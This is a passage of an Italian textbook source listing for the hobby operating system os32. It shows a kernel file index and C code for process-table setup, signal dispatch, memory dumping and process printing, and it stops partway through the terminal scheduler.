2030133 //----------------------------------------------------------------------
2030134 void         proc_dump_memory   (pid_t pid, addr_t address,
2030135                                  size_t size, char *name);
2030136 void         proc_available     (pid_t pid);
2030137 void         proc_sch_signals   (void);
2030138 void         proc_sch_terminals (void);
2030139 void         proc_sch_timers    (void);
2030140 void         proc_sig_chld      (pid_t parent, int sig);
2030141 void         proc_sig_cont      (pid_t pid, int sig);
2030142 void         proc_sig_core      (pid_t pid, int sig);
2030143 void         proc_sig_handler   (pid_t pid, int sig);
2030144 int          proc_sig_ignore    (pid_t pid, int sig);
```

```
2030145 void         proc_sig_off       (pid_t pid, int sig);
2030146 void         proc_sig_on        (pid_t pid, int sig);
2030147 int          proc_sig_status    (pid_t pid, int sig);
2030148 void         proc_sig_stop      (pid_t pid, int sig);
2030149 void         proc_sig_term      (pid_t pid, int sig);
2030150
2030151 void         proc_wakeup_pipe_read  (inode_t *inode);
2030152 void         proc_wakeup_pipe_write (inode_t *inode);
2030153 void         proc_wakeup_terminal   (void);
2030154
2030155 #endif
```


119.1 os32: directory principale 7031

119.1.1 applic.sep.ld 7031
119.1.2 bochs 7032
119.1.3 elf-to-os32 7032
119.1.4 kernel.ld 7034
119.1.5 makeit.sep 7035
119.1.6 qemu 7042

119.2 os32: «kernel/blk.h» 7043

119.2.1 kernel/blk/blk_ata.c 7050
119.2.2 kernel/blk/blk_cache_check.c 7052
119.2.3 kernel/blk/blk_cache_init.c 7052
119.2.4 kernel/blk/blk_cache_read.c 7053
119.2.5 kernel/blk/blk_cache_save.c 7054
119.2.6 kernel/blk/blk_public.c 7055

119.3 os32: «kernel/dev.h» 7055

119.3.1 kernel/dev/dev_ata.c 7062
119.3.2 kernel/dev/dev_dm.c 7064
119.3.3 kernel/dev/dev_io.c 7065
119.3.4 kernel/dev/dev_kmem.c 7066
119.3.5 kernel/dev/dev_mem.c 7070
119.3.6 kernel/dev/dev_tty.c 7072

119.4 os32: «kernel/dm.h» 7074

119.4.1 kernel/dm/dm_init.c 7080
119.4.2 kernel/dm/dm_public.c 7083
119.4.3 kernel/driver/ata.h 7083
119.4.4 kernel/driver/ata/ata_cmd_identify_device.c 7086
119.4.5 kernel/driver/ata/ata_cmd_read_sectors.c 7087

119.4.6 kernel/driver/ata/ata_cmd_write_sectors.c 7089
119.4.7 kernel/driver/ata/ata_device.c 7091
119.4.8 kernel/driver/ata/ata_drq.c 7092
119.4.9 kernel/driver/ata/ata_init.c 7093
119.4.10 kernel/driver/ata/ata_lba28.c 7098
119.4.11 kernel/driver/ata/ata_public.c 7099
119.4.12 kernel/driver/ata/ata_rdy.c 7099
119.4.13 kernel/driver/ata/ata_reset.c 7101
119.4.14 kernel/driver/ata/ata_valid.c 7101
119.4.15 kernel/driver/kbd.h 7102
119.4.16 kernel/driver/kbd/kbd_isr.c 7102
119.4.17 kernel/driver/kbd/kbd_load.c 7104
119.4.18 kernel/driver/kbd/kbd_public.c 7106
119.4.19 kernel/driver/screen.h 7106
119.4.20 kernel/driver/screen/screen_clear.c 7107
119.4.21 kernel/driver/screen/screen_current.c 7108
119.4.22 kernel/driver/screen/screen_init.c 7108
119.4.23 kernel/driver/screen/screen_new_line.c 7109
119.4.24 kernel/driver/screen/screen_number.c 7110
119.4.25 kernel/driver/screen/screen_pointer.c 7111
119.4.26 kernel/driver/screen/screen_public.c 7111
119.4.27 kernel/driver/screen/screen_putc.c 7111
119.4.28 kernel/driver/screen/screen_scroll.c 7113
119.4.29 kernel/driver/screen/screen_select.c 7114
119.4.30 kernel/driver/screen/screen_update.c 7114
119.4.31 kernel/driver/tty.h 7116
119.4.32 kernel/driver/tty/tty_console.c 7116
119.4.33 kernel/driver/tty/tty_init.c 7117
119.4.34 kernel/driver/tty/tty_public.c 7119
119.4.35 kernel/driver/tty/tty_read.c 7119
119.4.36 kernel/driver/tty/tty_reference.c 7120
119.4.37 kernel/driver/tty/tty_write.c 7121

119.5 os32: «kernel/fs.h» 7121

119.5.1 kernel/fs/fd_dup.c 7131
119.5.2 kernel/fs/fd_reference.c 7133
119.5.3 kernel/fs/file_pipe_make.c 7134
119.5.4 kernel/fs/file_reference.c 7135
119.5.5 kernel/fs/file_stdio_dev_make.c 7136
119.5.6 kernel/fs/file_table.c 7137

119.5.7 kernel/fs/fs_init.c 7137
119.5.8 kernel/fs/inode_alloc.c 7137
119.5.9 kernel/fs/inode_check.c 7141
119.5.10 kernel/fs/inode_dir_empty.c 7142
119.5.11 kernel/fs/inode_file_read.c 7144
119.5.12 kernel/fs/inode_file_write.c 7146
119.5.13 kernel/fs/inode_free.c 7148
119.5.14 kernel/fs/inode_fzones_read.c 7149
119.5.15 kernel/fs/inode_fzones_write.c 7151
119.5.16 kernel/fs/inode_get.c 7152
119.5.17 kernel/fs/inode_pipe_make.c 7155
119.5.18 kernel/fs/inode_pipe_read.c 7157
119.5.19 kernel/fs/inode_pipe_write.c 7159
119.5.20 kernel/fs/inode_print.c 7161
119.5.21 kernel/fs/inode_put.c 7163
119.5.22 kernel/fs/inode_reference.c 7164
119.5.23 kernel/fs/inode_save.c 7166
119.5.24 kernel/fs/inode_stdio_dev_make.c 7167
119.5.25 kernel/fs/inode_table.c 7169
119.5.26 kernel/fs/inode_truncate.c 7169
119.5.27 kernel/fs/inode_zone.c 7172
119.5.28 kernel/fs/path_device.c 7180
119.5.29 kernel/fs/path_fix.c 7181
119.5.30 kernel/fs/path_full.c 7183
119.5.31 kernel/fs/path_inode.c 7184
119.5.32 kernel/fs/path_inode_link.c 7188
119.5.33 kernel/fs/sb_inode_status.c 7193
119.5.34 kernel/fs/sb_mount.c 7194
119.5.35 kernel/fs/sb_print.c 7197
119.5.36 kernel/fs/sb_public.c 7198
119.5.37 kernel/fs/sb_reference.c 7198
119.5.38 kernel/fs/sb_save.c 7199
119.5.39 kernel/fs/sb_zone_status.c 7201
119.5.40 kernel/fs/zone_alloc.c 7202
119.5.41 kernel/fs/zone_free.c 7203
119.5.42 kernel/fs/zone_print.c 7204
119.5.43 kernel/fs/zone_read.c 7205
119.5.44 kernel/fs/zone_write.c 7206

119.6 os32: «kernel/ibm_i386.h» 7207

119.6.1 kernel/ibm_i386/_in_32.s 7217
119.6.2 kernel/ibm_i386/_in_16.s 7218
119.6.3 kernel/ibm_i386/_in_8.s 7218
119.6.4 kernel/ibm_i386/_out_32.s 7219
119.6.5 kernel/ibm_i386/_out_16.s 7219
119.6.6 kernel/ibm_i386/_out_8.s 7220
119.6.7 kernel/ibm_i386/cli.s 7220
119.6.8 kernel/ibm_i386/gdt.c 7221
119.6.9 kernel/ibm_i386/gdt_load.s 7222
119.6.10 kernel/ibm_i386/gdt_print.c 7222
119.6.11 kernel/ibm_i386/gdt_public.c 7223
119.6.12 kernel/ibm_i386/gdt_segment.c 7223
119.6.13 kernel/ibm_i386/idt.c 7224
119.6.14 kernel/ibm_i386/idt_descriptor.c 7226
119.6.15 kernel/ibm_i386/idt_irq_remap.c 7227
119.6.16 kernel/ibm_i386/idt_load.s 7228
119.6.17 kernel/ibm_i386/idt_print.c 7228
119.6.18 kernel/ibm_i386/idt_public.c 7229
119.6.19 kernel/ibm_i386/irq_off.c 7229
119.6.20 kernel/ibm_i386/irq_on.c 7230
119.6.21 kernel/ibm_i386/isr.s 7231
119.6.22 kernel/ibm_i386/isr_exception_name.c 7245
119.6.23 kernel/ibm_i386/isr_exception_unrecoverable.c 7246
119.6.24 kernel/ibm_i386/isr_irq_clear.c 7246
119.6.25 kernel/ibm_i386/isr_irq_clear_pic1.c 7247
119.6.26 kernel/ibm_i386/isr_irq_clear_pic2.c 7247
119.6.27 kernel/ibm_i386/sti.s 7247

119.7 os32: «kernel/lib_k.h» 7248

119.7.1 kernel/lib_k/k_exit.s 7254
119.7.2 kernel/lib_k/k_gets.c 7255
119.7.3 kernel/lib_k/k_perror.c 7255
119.7.4 kernel/lib_k/k_printf.c 7256
119.7.5 kernel/lib_k/k_sleep.c 7256
119.7.6 kernel/lib_k/k_stime.c 7257
119.7.7 kernel/lib_k/k_vprintf.c 7257
119.7.8 kernel/lib_k/k_vsprintf.c 7258

119.8 os32: «kernel/lib_s.h» 7259

119.8.1 kernel/lib_s/s__exit.c 7266

119.8.2 kernel/lib_s/s_brk.c 7269
119.8.3 kernel/lib_s/s_chdir.c 7275
119.8.4 kernel/lib_s/s_chmod.c 7276
119.8.5 kernel/lib_s/s_chown.c 7277
119.8.6 kernel/lib_s/s_clock.c 7278
119.8.7 kernel/lib_s/s_close.c 7278
119.8.8 kernel/lib_s/s_dup.c 7280
119.8.9 kernel/lib_s/s_dup2.c 7280
119.8.10 kernel/lib_s/s_fchmod.c 7281
119.8.11 kernel/lib_s/s_fchown.c 7282
119.8.12 kernel/lib_s/s_fcntl.c 7283
119.8.13 kernel/lib_s/s_fork.c 7285
119.8.14 kernel/lib_s/s_fstat.c 7291
119.8.15 kernel/lib_s/s_kill.c 7292
119.8.16 kernel/lib_s/s_link.c 7295
119.8.17 kernel/lib_s/s_longjmp.c 7296
119.8.18 kernel/lib_s/s_lseek.c 7297
119.8.19 kernel/lib_s/s_mkdir.c 7299
119.8.20 kernel/lib_s/s_mknod.c 7301
119.8.21 kernel/lib_s/s_mount.c 7303
119.8.22 kernel/lib_s/s_open.c 7304
119.8.23 kernel/lib_s/s_pipe.c 7310
119.8.24 kernel/lib_s/s_read.c 7312
119.8.25 kernel/lib_s/s_sbrk.c 7315
119.8.26 kernel/lib_s/s_setegid.c 7316
119.8.27 kernel/lib_s/s_seteuid.c 7317
119.8.28 kernel/lib_s/s_setgid.c 7317
119.8.29 kernel/lib_s/s_setjmp.c 7318
119.8.30 kernel/lib_s/s_setuid.c 7319
119.8.31 kernel/lib_s/s_signal.c 7320
119.8.32 kernel/lib_s/s_stat.c 7321
119.8.33 kernel/lib_s/s_stime.c 7323
119.8.34 kernel/lib_s/s_tcgetattr.c 7323
119.8.35 kernel/lib_s/s_tcsetattr.c 7325
119.8.36 kernel/lib_s/s_time.c 7326
119.8.37 kernel/lib_s/s_umount.c 7327
119.8.38 kernel/lib_s/s_unlink.c 7329
119.8.39 kernel/lib_s/s_wait.c 7333
119.8.40 kernel/lib_s/s_write.c 7334

119.9 os32: «kernel/main.h» 7337

119.9.1 kernel/main/build.h 7344
119.9.2 kernel/main/crt0.s 7344
119.9.3 kernel/main/kmain.c 7345
119.9.4 kernel/main/menu.c 7351
119.9.5 kernel/main/run.c 7352
119.9.6 kernel/main/stack.s 7353

119.10 os32: «kernel/memory.h» 7353

119.10.1 kernel/memory/mb_alloc.c 7360
119.10.2 kernel/memory/mb_alloc_size.c 7362
119.10.3 kernel/memory/mb_clean.c 7364
119.10.4 kernel/memory/mb_free.c 7364
119.10.5 kernel/memory/mb_print.c 7366
119.10.6 kernel/memory/mb_public.c 7368
119.10.7 kernel/memory/mb_reduce.c 7368
119.10.8 kernel/memory/mb_reference.c 7369
119.10.9 kernel/memory/mb_size.c 7369

119.11 os32: «kernel/multiboot.h» 7370

119.11.1 kernel/multiboot/mboot_public.c 7376
119.11.2 kernel/multiboot/mboot_save.c 7376

119.12 os32: «kernel/part.h» 7377

119.13 os32: «kernel/proc.h» 7384

119.13.1 kernel/proc/proc_available.c 7393
119.13.2 kernel/proc/proc_dump_memory.c 7394
119.13.3 kernel/proc/proc_init.c 7395
119.13.4 kernel/proc/proc_offset_data_to_pointer.c 7399
119.13.5 kernel/proc/proc_print.c 7399
119.13.6 kernel/proc/proc_public.c 7401
119.13.7 kernel/proc/proc_reference.c 7402
119.13.8 kernel/proc/proc_sch_signals.c 7402
119.13.9 kernel/proc/proc_sch_terminals.c 7403
119.13.10 kernel/proc/proc_sch_timers.c 7410
119.13.11 kernel/proc/proc_scheduler.c 7411
119.13.12 kernel/proc/proc_sig_chld.c 7415
119.13.13 kernel/proc/proc_sig_cont.c 7416
119.13.14 kernel/proc/proc_sig_core.c 7416
119.13.15 kernel/proc/proc_sig_handler.c 7418

119.13.16 kernel/proc/proc_sig_ignore.c 7422
119.13.17 kernel/proc/proc_sig_off.c 7423
119.13.18 kernel/proc/proc_sig_on.c 7423
119.13.19 kernel/proc/proc_sig_status.c 7423
119.13.20 kernel/proc/proc_sig_stop.c 7424
119.13.21 kernel/proc/proc_sig_term.c 7424
119.13.22 kernel/proc/proc_sys_exec.c 7425
119.13.23 kernel/proc/proc_timer_init.c 7440
119.13.24 kernel/proc/proc_wakeup_pipe_read.c 7441
119.13.25 kernel/proc/proc_wakeup_pipe_write.c 7441
119.13.26 kernel/proc/proc_wakeup_terminal.c 7442
119.13.27 kernel/proc/sysroutine.c 7443

119.13.1 kernel/proc/proc_available.c

Si veda la sezione 118.14.1.

```
2040001 #include <kernel/proc.h>
2040002 //----------------------------------------------------------------------
2040003 void
2040004 proc_available (pid_t pid)
2040005 {
2040006     proc_table[pid].ppid          = (pid_t) -1;
2040007     proc_table[pid].pgrp          = (pid_t) -1;
2040008     proc_table[pid].uid           = (uid_t) -1;
2040009     proc_table[pid].euid          = (uid_t) -1;
2040010     proc_table[pid].suid          = (uid_t) -1;
2040011     proc_table[pid].gid           = (gid_t) -1;
2040012     proc_table[pid].egid          = (gid_t) -1;
2040013     proc_table[pid].sgid          = (gid_t) -1;
2040014     proc_table[pid].sig_status    = 0;
2040015     proc_table[pid].sig_ignore    = 0;
2040016     proc_table[pid].usage         = (clock_t) 0;
2040017     proc_table[pid].status        = PROC_EMPTY;
2040018     proc_table[pid].wakeup_events = 0;
2040019     proc_table[pid].wakeup_signal = 0;
2040020     proc_table[pid].wakeup_timer  = 0;
2040021     proc_table[pid].wakeup_inode  = NULL;
2040022     proc_table[pid].address_text  = (addr_t) 0;
2040023     proc_table[pid].domain_text   = (size_t) 0;
2040024     proc_table[pid].address_data  = (addr_t) 0;
2040025     proc_table[pid].domain_data   = (size_t) 0;
2040026     proc_table[pid].domain_stack  = (size_t) 0;
2040027     proc_table[pid].extra_data    = (size_t) 0;
2040028     proc_table[pid].sp            = (uint32_t) 0;
2040029     proc_table[pid].ret           = 0;
2040030     proc_table[pid].inode_cwd     = NULL;
2040031     proc_table[pid].path_cwd[0]   = 0;
```

```
2040032     proc_table[pid].umask         = 0;
2040033     proc_table[pid].name[0]       = 0;
2040034 }
```

119.13.2 kernel/proc/proc_dump_memory.c

Si veda la sezione 118.14.2.

```
2050001 #include <kernel/proc.h>
2050002 #include <fcntl.h>
2050003 #include <kernel/lib_s.h>
2050004 #include <kernel/lib_k.h>
2050005 //----------------------------------------------------------------------
2050006 void
2050007 proc_dump_memory (pid_t pid, addr_t address, size_t size, char *name)
2050008 {
2050009     int     fdn;
2050010     char    buffer[BUFSIZ];
2050011     ssize_t size_written;
2050012     ssize_t size_written_total;
2050013     ssize_t size_read;
2050014     ssize_t size_read_total;
2050015     ssize_t size_total = 0;
2050016     //
2050017     // Dump the code segment to disk.
2050018     //
2050019     fdn = s_open (pid, name, (O_WRONLY|O_CREAT|O_TRUNC),
2050020                     (mode_t) (S_IFREG|00644));
2050021     if (fdn < 0)
2050022       {
2050023         //
2050024         // There is a problem: just let it go.
2050025         //
2050026         k_perror (NULL);
2050027         return;
2050028       }
2050029     //
2050030     // Read the memory and write it to disk.
2050031     //
2050032     for (size_read = 0, size_read_total = 0;
2050033          size_read_total < size_total;
2050034          size_read_total += size_read, address += size_read)
2050035       {
2050036 
2050037         size_read = dev_io ((pid_t) 0, DEV_MEM, DEV_READ,
2050038                             (off_t) address, buffer,
2050039                             (size_t) BUFSIZ, NULL);
2050040         //
2050041         for (size_written = 0, size_written_total = 0;
2050042              size_written_total < size_read;
2050043              size_written_total += size_written)
```

```
2050044             {
2050045               size_written = s_write (pid, fdn,
2050046                               &buffer[size_written_total],
2050047                               (size_t) (size_read - size_written_total));
2050048               //
2050049               if (size_written < 0)
2050050                 {
2050051                   s_close (pid, fdn);
2050052                   return;
2050053                 }
2050054             }
2050055         }
2050056       s_close (pid, fdn);
2050057 }
```

119.13.3 kernel/proc/proc_init.c

Si veda la sezione 118.14.3.

```
2060001 #include <kernel/ibm_i386.h>
2060002 #include <kernel/proc.h>
2060003 #include <kernel/lib_k.h>
2060004 #include <kernel/lib_s.h>
2060005 #include <string.h>
2060006 #include <kernel/multiboot.h>
2060007 #include <kernel/dm.h>
2060008 //----------------------------------------------------------------------
2060009 extern uint32_t _k_start;
2060010 extern uint32_t _k_end;
2060011 extern uint32_t _k_text_end;
2060012 extern uint32_t _k_data_end;
2060013 extern uint32_t _k_bss_end;
2060014 extern uint32_t _k_stack_top;
2060015 extern uint32_t _k_stack_bottom;
2060016 //----------------------------------------------------------------------
2060017 void
2060018 proc_init (void)
2060019 {
2060020     pid_t                  pid;
2060021     int                    fdn;            // File descriptor index;
2060022     inode_t               *inode;
2060023     sb_t                  *sb;
2060024     clock_t                time_start;
2060025     clock_t                time_now;
2060026     clock_t                time_elapsed;
2060027     unsigned long long int count;
2060028     uintptr_t              stack_top    = (uintptr_t) &_k_stack_top;
2060029     uintptr_t              stack_bottom = (uintptr_t) &_k_stack_bottom;
2060030     int                    sig;
2060031     //
2060032     // Set up the GDT table.
```

```
2060033     //
2060034     gdt ();
2060035     //
2060036     // Set up timer.
2060037     //
2060038     proc_timer_init (CLOCKS_PER_SEC);
2060039     //
2060040     // Disable external interrupt.
2060041     //
2060042     cli ();
2060043     //
2060044     // Set up the IDT table.
2060045     //
2060046     idt ();
2060047     //
2060048     // Set all memory reference to some invalid data.
2060049     //
2060050     for (pid = 0; pid < PROCESS_MAX; pid++)
2060051       {
2060052         proc_available (pid);
2060053       }
2060054     //
2060055     // Set up the process table with the kernel.
2060056     //
2060057     proc_table[0].ppid          = 0;
2060058     proc_table[0].pgrp          = 0;
2060059     proc_table[0].uid           = 0;
2060060     proc_table[0].euid          = 0;
2060061     proc_table[0].suid          = 0;
2060062     proc_table[0].gid           = 0;
2060063     proc_table[0].egid          = 0;
2060064     proc_table[0].sgid          = 0;
2060065     proc_table[0].device_tty    = DEV_UNDEFINED;
2060066     proc_table[0].sig_status    = 0;
2060067     proc_table[0].sig_ignore    = 0;
2060068     proc_table[0].usage         = 0;
2060069     proc_table[0].status        = PROC_RUNNING;
2060070     proc_table[0].wakeup_events = 0;
2060071     proc_table[0].wakeup_signal = 0;
2060072     proc_table[0].wakeup_timer  = 0;
2060073     proc_table[0].wakeup_inode  = NULL;
2060074     proc_table[0].address_text  = 0;                    // [1]
2060075     proc_table[0].domain_text   = (size_t) (&_k_end);   // [2]
2060076     proc_table[0].address_data  = 0;                    // [2]
2060077     proc_table[0].domain_data   = (size_t) 0;           // [2]
2060078     proc_table[0].domain_stack  = (size_t) (stack_bottom - stack_top);
2060079     proc_table[0].extra_data    = (size_t) 0;
2060080     proc_table[0].sp            = 0;                    // [3]
2060081     proc_table[0].ret           = 0;
2060082     proc_table[0].umask         = 0022;  // Default umask.
2060083     strncpy (proc_table[0].path_cwd, "/", PATH_MAX);
2060084     strncpy (proc_table[0].name, "os32 kernel", PATH_MAX);
```

```
2060085     //
2060086     // [1] The kernel text starts at 0x100000, that is, 1 Mibyte,
2060087     //     but the code expect to start at that address, just like
2060088     //     the space from address 0 to 0xFFFFF is anyway part
2060089     //     of the kernel. If the kernel is forked, as it happens
2060090     //     when the ‘init’ process is to be run, it is necessary
2060091     //     to consider part of the kernel all the addresses starting
2060092     //     from zero.
2060093     //
2060094     // [2] The kernel is a unique block, where text and data live
2060095     //     together.
2060096     //
2060097     // [3] The saved stack pointer location will be set at the
2060098     //     next interrupt, or system call. That is why the kernel
2060099     //     must send a null system call at the beginning of its
2060100     //     work.
2060101     // -----------------------------------------------------------------
2060102     //
2060103     // Ensure to have a terminated string.
2060104     //
2060105     proc_table[0].name[PATH_MAX-1] = 0;
2060106     //
2060107     // Reset file descriptors.
2060108     //
2060109     for (fdn = 0; fdn < OPEN_MAX; fdn++)
2060110       {
2060111         proc_table[0].fd[fdn].fl_flags = 0;
2060112         proc_table[0].fd[fdn].fd_flags = 0;
2060113         proc_table[0].fd[fdn].file     = NULL;
2060114       }
2060115     //
2060116     // Reset ‘sig_handler[]’.
2060117     //
2060118     for (sig = 0; sig < MAX_SIGNALS; sig++)
2060119       {
2060120         proc_table[0].sig_handler[sig] = (uintptr_t) NULL;
2060121       }
2060122     //
2060123     // Allocate memory for the kernel.
2060124     //
2060125     // The BIOS data area (BDA) and extra BIOS at the bottom
2060126     // of 640 Kibyte, is already, formally, included inside the
2060127     // kernel.
2060128     //
2060129     // The allocation for data has no effect here, because it is
2060130     // the same as the text.
2060131     //
2060132     mb_alloc (proc_table[0].address_text,  proc_table[0].domain_text);
2060133     mb_alloc (proc_table[0].address_data,  proc_table[0].domain_data);
2060134     //
2060135     // Enable and disable hardware interrupts (IRQ).
2060136     //
```

```
2060137     irq_on   (0); // timer.
2060138     irq_on   (1); // enable keyboard
2060139     irq_off  (2); //
2060140     irq_off  (3); //
2060141     irq_off  (4); //
2060142     irq_off  (5); //
2060143     irq_off  (6); //
2060144     irq_off  (7); //
2060145     irq_off  (8); //
2060146     irq_off  (9); //
2060147     irq_off (10); //
2060148     irq_off (11); //
2060149     irq_off (12); //
2060150     irq_off (13); //
2060151     irq_off (14); //
2060152     irq_off (15); //
2060153     //
2060154     // External interrupts activation.
2060155     //
2060156     sti ();
2060157     //
2060158     // Calculate how many times can be executed the
2060159     // following loop. This data will be used by
2060160     // 'k_sleep()', if the clock pulse does not work
2060161     // for some reason.
2060162     //
2060163     time_elapsed = 0;
2060164     count        = 0;
2060165     time_start = s_clock ((pid_t) 0);
2060166     for (; time_elapsed < 10; count++)
2060167       {
2060168         time_now = s_clock ((pid_t) 0);
2060169         time_elapsed = time_now - time_start;
2060170       }
2060171     proc_loops_per_clock = count / 10;
2060172     //
2060173     // Set up data-memory devices:
2060174     // it works only after enabling interrupts.
2060175     //
2060176     dm_init ();
2060177     //
2060178     // Mount root file system.
2060179     //
2060180     inode = NULL;
2060181     sb = sb_mount (DEV_DM02, &inode, MOUNT_DEFAULT);
2060182     if (sb == NULL || inode == NULL)
2060183       {
2060184         k_perror ("Kernel panic: cannot mount root file system:");
2060185         k_exit ();
2060186       }
2060187     //
2060188     // Add the inode to the process table item for the kernel.
```

```
2060189       //
2060190       proc_table[0].inode_cwd      = inode; // Root fs inode.
2060191   }
```

119.13.4 kernel/proc/proc_offset_data_to_pointer.c

Si veda la sezione 118.14.4.

```
2070001   #include <kernel/proc.h>
2070002   #include <kernel/lib_s.h>
2070003   #include <kernel/lib_k.h>
2070004   #include <stdint.h>
2070005   //----------------------------------------------------------------------
2070006   #define DEBUG 0
2070007   //----------------------------------------------------------------------
2070008   void *
2070009   proc_offset_data_to_pointer (pid_t pid, addr_t addr_data)
2070010   {
2070011     addr_t   addr_data_top;
2070012     addr_t   addr_data_absolute;
2070013     //
2070014     if (proc_table[pid].domain_data == 0)
2070015       {
2070016         addr_data_top = proc_table[pid].address_text;
2070017       }
2070018     else
2070019       {
2070020         addr_data_top = proc_table[pid].address_data;
2070021       }
2070022     //
2070023     addr_data_absolute = addr_data_top + addr_data;
2070024     //
2070025     return ((void *) addr_data_absolute);
2070026   }
```

119.13.5 kernel/proc/proc_print.c

Si veda la sezione 118.14.5.

```
2080001   #include <sys/os32.h>
2080002   #include <kernel/proc.h>
2080003   #include <kernel/lib_k.h>
2080004   //----------------------------------------------------------------------
2080005   void
2080006   proc_print (void)
2080007   {
2080008       pid_t           pid;
2080009       char            stat;
2080010       unsigned int    min;
```

```
2080011     unsigned int   sec;
2080012     //
2080013     //
2080014     //
2080015     k_printf ("pp  p pg                             T * 0x1000 "
2080016               "D * 0x1000 stack        \n"
2080017               "id id rp  tty  uid euid suid usage s addr  size "
2080018               "addr  size pointer  name\n"
2080019            );
2080020     //
2080021     //
2080022     //
2080023     for (pid = 0; pid < PROCESS_MAX; pid++)
2080024       {
2080025         if (proc_table[pid].status > 0)
2080026           {
2080027             switch (proc_table[pid].status)
2080028               {
2080029                 case PROC_EMPTY    : stat = '-'; break;
2080030                 case PROC_CREATED  : stat = 'c'; break;
2080031                 case PROC_READY    : stat = 'r'; break;
2080032                 case PROC_RUNNING  : stat = 'R'; break;
2080033                 case PROC_SLEEPING: stat = 's'; break;
2080034                 case PROC_ZOMBIE   : stat = 'z'; break;
2080035                 default            : stat = '?'; break;
2080036               }
2080037             //
2080038             min = ((proc_table[pid].usage / CLOCKS_PER_SEC) / 60);
2080039             sec = ((proc_table[pid].usage / CLOCKS_PER_SEC) % 60);
2080040             //
2080041             // Addresses and sizes are multiple of 4096 (0x1000);
2080042             // for the stack pointer is shown only the last five
2080043             // hexadecimal digits.
2080044             //
2080045             if (proc_table[pid].domain_data > 0)
2080046               {
2080047                 k_printf ("%2i %2i %2i %04x %4i %4i %4i %02i.%02i %c "
2080048                       "%05x %04x %05x %04x %07x %12s\n",
2080049                       (unsigned int) proc_table[pid].ppid,
2080050                       (unsigned int) pid,
2080051                       (unsigned int) proc_table[pid].pgrp,
2080052                       (unsigned int) proc_table[pid].device_tty,
2080053                       (unsigned int) proc_table[pid].uid,
2080054                       (unsigned int) proc_table[pid].euid,
2080055                       (unsigned int) proc_table[pid].suid,
2080056                       min, sec, stat,
2080057                       (unsigned int) proc_table[pid].address_text
2080058                                      / MEM_BLOCK_SIZE,
2080059                       (unsigned int) proc_table[pid].domain_text
2080060                                      / MEM_BLOCK_SIZE,
2080061                       (unsigned int) proc_table[pid].address_data
2080062                                      / MEM_BLOCK_SIZE,
```

```
2080063                             (unsigned int) (proc_table[pid].domain_data
2080064                                             + proc_table[pid].extra_data)
2080065                                            / MEM_BLOCK_SIZE,
2080066                             (unsigned int) proc_table[pid].sp,
2080067                             proc_table[pid].name);
2080068                 }
2080069               else
2080070                 {
2080071                   k_printf ("%2i %2i %2i %04x %4i %4i %4i %02i.%02i %c "
2080072                             "%05x %04x %05x %04x %07x %12s\n",
2080073                             (unsigned int) proc_table[pid].ppid,
2080074                             (unsigned int) pid,
2080075                             (unsigned int) proc_table[pid].pgrp,
2080076                             (unsigned int) proc_table[pid].device_tty,
2080077                             (unsigned int) proc_table[pid].uid,
2080078                             (unsigned int) proc_table[pid].euid,
2080079                             (unsigned int) proc_table[pid].suid,
2080080                             min, sec, stat,
2080081                             (unsigned int) proc_table[pid].address_text
2080082                                            / MEM_BLOCK_SIZE,
2080083                             (unsigned int) (proc_table[pid].domain_text
2080084                                             + proc_table[pid].extra_data)
2080085                                            / MEM_BLOCK_SIZE,
2080086                             (unsigned int) proc_table[pid].address_data
2080087                                            / MEM_BLOCK_SIZE,
2080088                             (unsigned int) proc_table[pid].domain_data
2080089                                            / MEM_BLOCK_SIZE,
2080090                             (unsigned int) proc_table[pid].sp,
2080091                             proc_table[pid].name);
2080092                 }
2080093             }
2080094         }
2080095 }
```

119.13.6 kernel/proc/proc_public.c

Si veda la sezione 118.14.6.

```
2090001 #include <kernel/proc.h>
2090002 //----------------------------------------------------------------------
2090003 proc_t                  proc_table[PROCESS_MAX];
2090004 pid_t                   proc_current = 0;
2090005 uint16_t                proc_stack_segment_selector = 24;
2090006 uint32_t                proc_stack_pointer;
2090007 unsigned int            proc_loops_per_clock;
2090008
2090009
```

119.13.7 kernel/proc/proc_reference.c

Si veda la sezione 118.14.6.

```
2100001 #include <kernel/proc.h>
2100002 //----------------------------------------------------------------------
2100003 proc_t *
2100004 proc_reference (pid_t pid)
2100005 {
2100006     if (pid >= 0 && pid < PROCESS_MAX)
2100007       {
2100008         return (&proc_table[pid]);
2100009       }
2100010     else
2100011       {
2100012         return (NULL);
2100013       }
2100014 }
```

119.13.8 kernel/proc/proc_sch_signals.c

Si veda la sezione 118.14.7.

```
2110001 #include <kernel/proc.h>
2110002 //----------------------------------------------------------------------
2110003 void
2110004 proc_sch_signals (void)
2110005 {
2110006     pid_t  pid;
2110007     //
2110008     // The PID scan starts from 1: you will not send signals to the
2110009     // kernel!
2110010     //
2110011     for (pid = 1; pid < PROCESS_MAX; pid++)
2110012       {
2110013         proc_sig_term (pid, SIGHUP);
2110014         proc_sig_term (pid, SIGINT);
2110015         proc_sig_core (pid, SIGQUIT);
2110016         proc_sig_core (pid, SIGILL);
2110017         proc_sig_core (pid, SIGABRT);
2110018         proc_sig_core (pid, SIGFPE);
2110019         proc_sig_term (pid, SIGKILL);
2110020         proc_sig_core (pid, SIGSEGV);
2110021         proc_sig_term (pid, SIGPIPE);
2110022         proc_sig_term (pid, SIGALRM);
2110023         proc_sig_term (pid, SIGTERM);
2110024         proc_sig_term (pid, SIGUSR1);
2110025         proc_sig_term (pid, SIGUSR2);
2110026         proc_sig_chld (pid, SIGCHLD);
2110027         proc_sig_cont (pid, SIGCONT);
2110028         proc_sig_stop (pid, SIGSTOP);
```

```
2110029            proc_sig_stop (pid, SIGTSTP);
2110030            proc_sig_stop (pid, SIGTTIN);
2110031            proc_sig_stop (pid, SIGTTOU);
2110032          }
2110033  }
```

119.13.9 kernel/proc/proc_sch_terminals.c

Si veda la sezione 118.14.8.

```
2120001  #include <kernel/proc.h>
2120002  #include <kernel/lib_k.h>
2120003  #include <kernel/lib_s.h>
2120004  #include <kernel/driver/kbd.h>
2120005  #include <termios.h>
2120006  #include <limits.h>
2120007  //----------------------------------------------------------------------
2120008  void
2120009  proc_sch_terminals (void)
2120010  {
2120011    pid_t         pid;
2120012    pid_t         pid_sub;
2120013    unsigned char key;
2120014    tty_t        *tty;
2120015    dev_t         device;
2120016    int           k;             // Reverse count killed character.
2120017    int           overflow = 0; // True if input is too much.
2120018    //
2120019    // Try to read a key from console keyboard buffer (only consoles
2120020    // are available). Variable 'kbd' is external and comes from
2120021    // 'kernel/kbd.h'.
2120022    //
2120023    key = kbd.key;
2120024    if (key == 0)
2120025      {
2120026        //
2120027        // No key is ready on the keyboard buffer: just return.
